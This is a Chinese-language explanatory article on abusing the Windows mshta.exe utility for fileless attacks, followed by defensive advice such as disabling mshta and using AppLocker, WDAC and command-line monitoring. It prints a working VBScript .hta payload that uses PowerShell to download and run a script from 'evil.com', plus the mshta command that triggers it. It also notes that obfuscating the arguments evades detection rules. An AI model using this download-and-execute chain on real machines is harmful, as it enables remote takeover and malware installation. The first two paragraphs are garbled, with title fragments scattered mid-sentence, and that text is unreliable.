mshta恶意命令执行攻击

一个看似无害的意命.hta文件，双击后就能让攻击者拿到你的令执电脑控制权。这不是行攻电影情节，而是意命mshta.exe这个Windows自带程序被滥用后的真实后果。2019年，令执某大型企业内网被攻破，行攻事后溯源发现，意命攻击者只是令执往员工邮箱发了一封带附件的中文简历——附件是.hta文件，员工打开后，行攻mshta.exe静默执行了PowerShell命令，意命下载了远控木马。令执整个过程不到三秒，行攻杀毒软件毫无反应。意命

mshta.exe是令执什么？它是微软官方用来运行HTML Application的工具，全称Microsoft HTML Application Host。行攻正常情况下，它用来执行.hta文件——一种用HTML语法写成的Windows程序。但问题在于，mshta.exe不仅支持本地文件，还能直接解析远程URL。这意味着，攻击者可以构造一个恶意链接，让mshta.exe去访问远程服务器上的恶意脚本。更糟的是，mshta.exe自带HTML和VBScript解析能力，攻击者根本不需要上传任何可执行文件，只需一段纯文本代码就能完成攻击。

看一下实际攻击代码长什么样。攻击者会在自己的服务器上放一个恶意.hta文件，内容大致是：
<script language="VBScript">
CreateObject("WScript.Shell").Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
</script>
然后通过钓鱼邮件或网页诱导用户执行：
mshta http://evil.com/malicious.hta
用户点击的瞬间，mshta.exe启动，解析远程HTML中的VBScript，调用PowerShell下载并执行恶意负载。整个链条里，mshta.exe是合法签名程序，VBScript是纯文本，PowerShell命令也被编码混淆——传统基于静态签名的杀毒软件很难检测。

为什么这个攻击如此难防？第一，mshta.exe是系统自带程序，被白名单机制信任。很多企业的安全策略允许所有微软签名程序运行，mshta.exe自然在列。第二，它不落地文件，恶意代码全在内存中执行。安全人员常说的“无文件攻击”，mshta就是典型代表。第三，利用链极短，从触发到拿到shell通常不超过5秒，留给EDR（终端检测响应系统）的响应时间窗口极小。

我见过最讽刺的一个案例。某金融机构的安全团队刚部署了新一代终端防护产品，测试时用mshta攻击绕过，产品毫无反应。安全负责人当场脸色铁青——他们之前花了三个月评估这个产品，厂商承诺能拦截95%以上的无文件攻击。实际上，只要攻击者把mshta的调用参数稍作混淆，比如加上多余的引号或编码转换，规则检测就会失效。

防御思路其实不复杂。禁用mshta.exe是最直接的办法——大多数企业根本不需要运行.hta文件。如果确实需要，至少应该通过AppLocker或WDAC（Windows Defender Application Control）限制mshta.exe只能从特定路径启动。另一个有效手段是监控命令行日志，一旦发现mshta.exe后面跟着http或https链接，立即告警——正常业务极少这样使用。微软自己也提供了建议，在Office 365中默认阻止从Office应用激活mshta。

说到底，mshta攻击的本质是信任滥用。系统信任了mshta.exe，mshta.exe信任了网络内容，网络内容信任了VBScript的任意执行权限。每一层信任都被攻击者利用。安全行业有个不成文的经验：任何能解析脚本的合法程序，都可能成为攻击跳板。mshta不是第一个，也不会是最后一个。后来出现的wscript、cscript、regsvr32、rundll32，都有类似问题。只不过mshta因为支持远程URL，成了其中最危险的一个。

下次看到系统弹出一个mshta.exe的窗口，别急着点“允许”。那可能不是微软在运行什么合法组件，而是攻击者已经站在你门口了。